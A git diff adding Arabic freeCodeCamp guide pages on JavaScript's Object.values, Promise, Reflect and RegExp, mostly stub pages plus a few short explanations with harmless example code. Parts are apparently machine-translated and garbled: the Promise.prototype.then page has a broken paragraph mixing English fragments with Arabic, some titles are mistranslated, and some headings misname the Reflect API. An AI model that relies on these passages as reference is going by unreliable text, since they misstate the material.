+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/object/object-values/index.md b/client/src/guide/arabic/javascript/standard-objects/object/object-values/index.md
new file mode 100644
index 0000000000..00722a9b32
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/object/object-values/index.md
@@ -0,0 +1,48 @@
+---
+title: Object Values
+localeTitle: قيم الكائن
+---
+إرجاع الأسلوب `Object.values()` صفيف قيم الخاصية enumerable الخاصة كائن محدد في نفس الترتيب كتلك المقدمة من قبل لـ في حلقة (الفرق هو أن حلقة for-in تعداد خصائص في سلسلة النموذج الأولي أيضاً ).
+
+## بناء الجملة
+
+ `Object.values(obj) 
+` 
+
+### المعلمات
+
+**الكائنات**
+
+الكائن الذي سيتم إرجاع خصائصه الخاصة به.
+
+[وصلة MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/values)
+
+## وصف
+
+إرجاع `Object.values()` صفيف العناصر الخاصة به هي قيم الخاصية التي يمكن عدها العثور على الكائن. ترتيب الخصائص هو نفسه الذي يعطى من خلال حلقات على قيم خصائص الكائن يدويا. بمعنى آخر ، يحتوي الكائن على مفتاح: أزواج قيم ، وتقوم هذه الطريقة بإرجاع جميع _قيم_ ذلك الكائن في كائن شبيه بالصفيف.
+
+راجع [Object.keys](https://guide.freecodecamp.org/javascript/standard-objects/object/object-keys/) ، والتي تُرجع كل _مفاتيح_ هذا الكائن في كائن يشبه المصفوفة.
+
+## أمثلة
+
+ `var obj = { foo: 'bar', baz: 42 }; 
+ console.log(Object.values(obj)); // ['bar', 42] 
+ 
+ // array like object 
+ var obj = { 0: 'a', 1: 'b', 2: 'c' }; 
+ console.log(Object.values(obj)); // ['a', 'b', 'c'] 
+ 
+ // array like object with random key ordering 
+ var an_obj = { 100: 'a', 2: 'b', 7: 'c' }; 
+ console.log(Object.values(an_obj)); // ['b', 'c', 'a'] 
+ 
+ // getFoo is property which isn't enumerable 
+ var my_obj = Object.create({}, { getFoo: { value: function() { return this.foo; } } }); 
+ my_obj.foo = 'bar'; 
+ console.log(Object.values(my_obj)); // ['bar'] 
+ 
+ // non-object argument will be coerced to an object 
+ console.log(Object.values('foo')); // ['f', 'o', 'o'] 
+` 
+
+\* _لا يعمل في Internet Explorer_
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/promise/index.md b/client/src/guide/arabic/javascript/standard-objects/promise/index.md
new file mode 100644
index 0000000000..c8e9b8713c
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/promise/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise
+localeTitle: وعد
+---
+## وعد
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/promise/promise-all/index.md b/client/src/guide/arabic/javascript/standard-objects/promise/promise-all/index.md
new file mode 100644
index 0000000000..13b99323c8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/promise/promise-all/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise All
+localeTitle: وعد الجميع
+---
+## وعد الجميع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/promise-all/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/promise/promise-prototype-catch/index.md b/client/src/guide/arabic/javascript/standard-objects/promise/promise-prototype-catch/index.md
new file mode 100644
index 0000000000..0b738fef7d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/promise/promise-prototype-catch/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise.prototype.catch
+localeTitle: Promise.prototype.catch
+---
+## Promise.prototype.catch
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/promise-prototype-catch/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/promise/promise-prototype-then/index.md b/client/src/guide/arabic/javascript/standard-objects/promise/promise-prototype-then/index.md
new file mode 100644
index 0000000000..377035b9d9
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/promise/promise-prototype-then/index.md
@@ -0,0 +1,51 @@
+---
+title: Promise.prototype.then
+localeTitle: Promise.prototype.then
+---
+## Promise.prototype.then
+
+تقبل وظيفة `Promise.prototype.then` الوسيطتين وتقوم بإرجاع Promise.
+
+الوسيطة الأولى هي دالة مطلوبة تقبل وسيطة واحدة. النجاح في تنفيذ الوعد سيؤدي إلى هذه الوظيفة.
+
+الوسيطة الثانية هي دالة اختيارية تقبل أيضًا وسيطة واحدة خاصة بها. سيؤدي خطأ يرمى أو رفض من Promise إلى تشغيل هذه الوظيفة.
+
+ `   function onResolved (resolvedValue) { 
+     /* 
+     * access to resolved values of promise 
+     */ 
+   } 
+ 
+  function onRejected(rejectedReason) { 
+     /* 
+     * access to rejection reasons of promise 
+     */ 
+   } 
+ 
+  promiseReturningFunction(paramList) 
+     .then( // then function 
+       onResolved, 
+       [onRejected] 
+     ); 
+ ``` 
+` 
+
+Promise.prototype.then `allows you to perform many asynchronous activities in sequence. You do this by attaching one` وظيفة `allows you to perform many asynchronous activities in sequence. You do this by attaching one` \`\` إلى أخرى مفصولة بواسطة مشغل النقطة.
+
+ `   promiseReturningFunction(paramList) 
+   .then( // first then function 
+     function(arg1) { 
+       // ... 
+       return someValue; 
+     } 
+   ) 
+   ... 
+   .then( // nth then function 
+     function(arg2) { 
+       // ... 
+       return otherValue; 
+     } 
+   ) 
+` 
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/promise/promise-race/index.md b/client/src/guide/arabic/javascript/standard-objects/promise/promise-race/index.md
new file mode 100644
index 0000000000..353a936cf8
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/promise/promise-race/index.md
@@ -0,0 +1,11 @@
+---
+title: Promise Race
+localeTitle: وعد السباق
+---
+## وعد السباق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/promise/promise-race/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/promise/promise-reject/index.md b/client/src/guide/arabic/javascript/standard-objects/promise/promise-reject/index.md
new file mode 100644
index 0000000000..fff361578d
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/promise/promise-reject/index.md
@@ -0,0 +1,20 @@
+---
+title: Promise Reject
+localeTitle: وعد رفض
+---
+## وعد رفض
+
+إرجاع دالة `Promise.reject` شرط خطأ إلى الدالة الاستدعاء. يأخذ معلمة واحدة ، كائن خطأ أو قيمة ، كسبب للرفض.
+
+سيسمح لك تسلسل وظيفة catch في نهاية المتصل Promise بالتقاط حالة الخطأ.
+
+ `promiseCallingFunction(paramList) 
+  .then( ... ) 
+  ... 
+  .then( ... ) 
+  .catch( function(err) { // catch function 
+    /* 
+     * this is where you can access the reason for the rejection 
+     */ 
+  }); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/promise/promise-resolve/index.md b/client/src/guide/arabic/javascript/standard-objects/promise/promise-resolve/index.md
new file mode 100644
index 0000000000..295e982a39
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/promise/promise-resolve/index.md
@@ -0,0 +1,43 @@
+---
+title: Promise Resolve
+localeTitle: وعد بالقرار
+---
+## وعد بالقرار
+
+### وصف
+
+تشير الدالة `Promise.resolve` إلى الإكمال الناجح لـ Promise. تتيح لك هذه الوظيفة إعادة الوعد إلى وظيفة الاستدعاء.
+
+يأخذ `Promise.resolve` معلمة واحدة للعودة إلى وظيفة الاستدعاء. يمكن أن تكون هذه المعلمة إما قيمة ، أو قابلة للتشغيل ، أو وعد آخر.
+
+يمكن أن تكون "القيمة" لدالة التصميم هي أنواع جافا سكريبت الأساسية ، أو المصفوفات ، أو الكائنات.
+
+ `Promise.resolve('success'); // string 
+ Promise.resolve([2, 3, 5]); // array 
+ Promise.resolve({name: 'John', age: '43'}); // object 
+` 
+
+A "thenable" هي دالة تأخذ وظيفتي رد اتصال كمعلمات. يمكنك استخدام المعلمة الأولى لتشغيل عملية إكمال ناجحة ، والثاني لإرجاع خطأ في Promise.
+
+ `thenableFunction = {then: function(onSuccesss, onFailure) { 
+    if (condition === 'success') { 
+      onSuccess(paramList); // success condition 
+    } else { 
+      onFailure(paramList); // error condition 
+    } 
+  } 
+ } 
+ 
+ Promise.resolve(thenableFunction); 
+` 
+
+سيؤدي تسلسل وظيفة ثم إلى متصل الوعد إلى الوصول إلى نتيجة `Promise.resolve` .
+
+ `promiseCallingFunction(paramList) 
+  .then(function(value) { 
+    /* 
+     * this is where you get access to the value 
+     * returned by a promise on successful completion 
+     */ 
+  }); 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/index.md
new file mode 100644
index 0000000000..eb8ad81913
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect
+localeTitle: تعكس
+---
+## تعكس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-apply/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-apply/index.md
new file mode 100644
index 0000000000..af96a5f1e3
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-apply/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Apply
+localeTitle: تعكس تطبيق
+---
+## تعكس تطبيق
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-apply/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-construct/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-construct/index.md
new file mode 100644
index 0000000000..4bbea22983
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-construct/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Construct
+localeTitle: تعكس الانشاء
+---
+## تعكس الانشاء
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-construct/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-defineproperty/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-defineproperty/index.md
new file mode 100644
index 0000000000..3758cf00bc
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-defineproperty/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect defineProperty
+localeTitle: تعكس تعريف
+---
+## تعكس تعريف
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-defineproperty/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-deleteproperty/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-deleteproperty/index.md
new file mode 100644
index 0000000000..0417fd5283
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-deleteproperty/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect deleteProperty
+localeTitle: تعكس deleteProperty
+---
+## تعكس deleteProperty
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-deleteproperty/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-get/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-get/index.md
new file mode 100644
index 0000000000..73bca81bef
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-get/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Get
+localeTitle: انعكاس
+---
+## انعكاس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-get/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md
new file mode 100644
index 0000000000..2b9e144915
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect getOwnPropertyDescriptor
+localeTitle: تعكس getOwnPropertyDescriptor
+---
+## تعكس getOwnPropertyDescriptor
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-getownpropertydescriptor/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-getprototypeof/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-getprototypeof/index.md
new file mode 100644
index 0000000000..7fc5e5e5c4
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-getprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect.prototype.get.prototype.of
+localeTitle: Reflect.prototype.get.prototype.of
+---
+## Reflect.prototype.get.prototype.of
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-getprototypeof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-has/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-has/index.md
new file mode 100644
index 0000000000..2cb7882d37
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-has/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Has
+localeTitle: انعكاس لديه
+---
+## انعكاس لديه
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-has/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-isextensible/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-isextensible/index.md
new file mode 100644
index 0000000000..e45568f759
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-isextensible/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect isExtensible
+localeTitle: انعكاس قابل للتوسع
+---
+## انعكاس قابل للتوسع
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-isextensible/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-ownkeys/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-ownkeys/index.md
new file mode 100644
index 0000000000..b59aca293b
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-ownkeys/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Ownkeys
+localeTitle: تعكس Ownkeys
+---
+## تعكس Ownkeys
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-ownkeys/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-preventextentions/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-preventextentions/index.md
new file mode 100644
index 0000000000..b7377a3a2e
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-preventextentions/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect preventExtensions
+localeTitle: تعكس منعالإجهادات
+---
+## تعكس منعالإجهادات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-preventextentions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-set/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-set/index.md
new file mode 100644
index 0000000000..d5ae5269d1
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-set/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect Set
+localeTitle: تعكس مجموعة
+---
+## تعكس مجموعة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-set/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-setprototypeof/index.md b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-setprototypeof/index.md
new file mode 100644
index 0000000000..0a331b6b05
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/reflect/reflect-setprototypeof/index.md
@@ -0,0 +1,11 @@
+---
+title: Reflect.prototype.set.prototype.of
+localeTitle: Reflect.prototype.set.prototype.of
+---
+## Reflect.prototype.set.prototype.of
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/reflect/reflect-setprototypeof/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/index.md
new file mode 100644
index 0000000000..0fe9aed4a7
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp
+localeTitle: التعبير العادي
+---
+## التعبير العادي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-exec/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-exec/index.md
new file mode 100644
index 0000000000..d74ada4d52
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-exec/index.md
@@ -0,0 +1,73 @@
+---
+title: RegExp prototype exec
+localeTitle: RegExp prototype exec
+---
+## RegExp prototype exec
+
+ينفّذ الأسلوب **`exec()`** بحثًا عن تطابق في سلسلة محددة. إرجاع مصفوفة ناتجة ، أو [`null`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/null "تمثل القيمة null غيابًا مقصودًا لأي قيمة كائن. انها واحدة من القيم البدائية لجافا سكريبت.") .
+
+إذا كنت تقوم بتنفيذ مطابقة ببساطة للبحث عن true أو false ، استخدم الأسلوب [`RegExp.prototype.test()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test "تقوم طريقة test () بتنفيذ بحث عن تطابق بين تعبير عادي وسلسلة محددة. يرجع صواب أو خطأ.") أو الأسلوب [`String.prototype.search()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/search "تقوم طريقة البحث () بتنفيذ بحث عن مطابقة بين تعبير عادي وعنصر السلسلة هذا.") .
+
+### بناء الجملة
+
+ `regexObj.exec(str) 
+` 
+
+### المعلمات
+
+`str`
+
+السلسلة المقابلة لمطابقة التعبير العادي.
+
+### قيمة الإرجاع
+
+إذا نجحت المطابقة ، ترجع الطريقة `exec()` صفيف وتحديث خصائص كائن التعبير العادي. يحتوي الصفيف الذي تم إرجاعه على النص المطابق باعتباره العنصر الأول ، ثم عنصرًا واحدًا لكل أقواس التقاط مطابقة تحتوي على النص الذي تم التقاطه.
+
+إذا فشل المطابقة ، ترجع الأسلوب `exec()` [`null`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/null "تمثل القيمة null غيابًا مقصودًا لأي قيمة كائن. انها واحدة من القيم البدائية لجافا سكريبت.") .
+
+### وصف
+
+خذ بعين الاعتبار المثال التالي:
+
+ `// Match "quick brown" followed by "jumps", ignoring characters in between 
+ // Remember "brown" and "jumps" 
+ // Ignore case 
+ var re = /quick\s(brown).+?(jumps)/ig; 
+ var result = re.exec('The Quick Brown Fox Jumps Over The Lazy Dog'); 
+` 
+
+يعرض الجدول التالي نتائج هذا البرنامج النصي:
+
+### أمثلة
+
+#### العثور على مباريات متتالية
+
+إذا كان التعبير العادي الخاص بك يستخدم علامة " `g` " ، يمكنك استخدام الأسلوب `exec()` عدة مرات للعثور على مطابقات متتالية في نفس السلسلة. عند القيام بذلك ، يبدأ البحث في سلسلة فرعية من `str` المحدد بواسطة خاصية [`lastIndex`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex "LastIndex هي خاصية عدد صحيح للقراءة / الكتابة لمثيلات التعبير العادية التي تحدد الفهرس الذي يبدأ عنده التطابق التالي.") للتعبير العادي ( [`test()`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/test "تقوم طريقة test () بتنفيذ بحث عن تطابق بين تعبير عادي وسلسلة محددة. يرجع صواب أو خطأ.") سيقدم خاصية [`lastIndex`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex "LastIndex هي خاصية عدد صحيح للقراءة / الكتابة لمثيلات التعبير العادية التي تحدد الفهرس الذي يبدأ عنده التطابق التالي.") أيضًا). على سبيل المثال ، افترض أن لديك هذا البرنامج النصي:
+
+ `var myRe = /ab*/g; 
+ var str = 'abbcdefabh'; 
+ var myArray; 
+ while ((myArray = myRe.exec(str)) !== null) { 
+  var msg = 'Found ' + myArray[0] + '. '; 
+  msg += 'Next match starts at ' + myRe.lastIndex; 
+  console.log(msg); 
+ } 
+` 
+
+يعرض هذا النص النص التالي:
+
+ `Found abb. Next match starts at 3 
+ Found ab. Next match starts at 9 
+` 
+
+ملاحظة: لا تضع التعبير الحرفي العادي (أو مُنشئ [`RegExp`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp "ينشئ منشئ RegExp كائن تعبير عادي لمطابقة النص بنمط.") ) ضمن الشرط `while` أو سيقوم بإنشاء حلقة لا نهائية إذا كان هناك تطابق بسبب خاصية [`lastIndex`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex "LastIndex هي خاصية عدد صحيح للقراءة / الكتابة لمثيلات التعبير العادية التي تحدد الفهرس الذي يبدأ عنده التطابق التالي.") التي تتم إعادة تعيينها عند كل عملية تكرار. تأكد أيضًا من تعيين العلامة العامة أو حدوث حلقة هنا أيضًا.
+
+#### باستخدام `exec()` مع القيم الحرفية `RegExp`
+
+يمكنك أيضًا استخدام `exec()` بدون إنشاء كائن [`RegExp`](/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp "ينشئ منشئ RegExp كائن تعبير عادي لمطابقة النص بنمط.") :
+
+ `var matches = /(hello \S+)/.exec('This is a hello world!'); 
+ console.log(matches[1]); 
+` 
+
+سيؤدي ذلك إلى تسجيل رسالة تحتوي على "hello world!".
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-flags/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-flags/index.md
new file mode 100644
index 0000000000..f39b303325
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-flags/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.flags
+localeTitle: RegExp.prototype.flags
+---
+## RegExp.prototype.flags
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-flags/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-global/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-global/index.md
new file mode 100644
index 0000000000..b86de52685
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-global/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.global
+localeTitle: RegExp.prototype.global
+---
+## RegExp.prototype.global
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-global/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md
new file mode 100644
index 0000000000..bf9eb48657
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.ignoreCase
+localeTitle: RegExp.prototype.ignoreCase
+---
+## RegExp.prototype.ignoreCase
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-ignorecase/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md
new file mode 100644
index 0000000000..6add49aae0
--- /dev/null
+++ b/client/src/guide/arabic/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md
@@ -0,0 +1,11 @@
+---
+title: RegExp.prototype.multiline
+localeTitle: RegExp.prototype.multiline
+---
+## RegExp.prototype.multiline
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/javascript/standard-objects/regexp/regexp-prototype-multiline/index.md) .
+
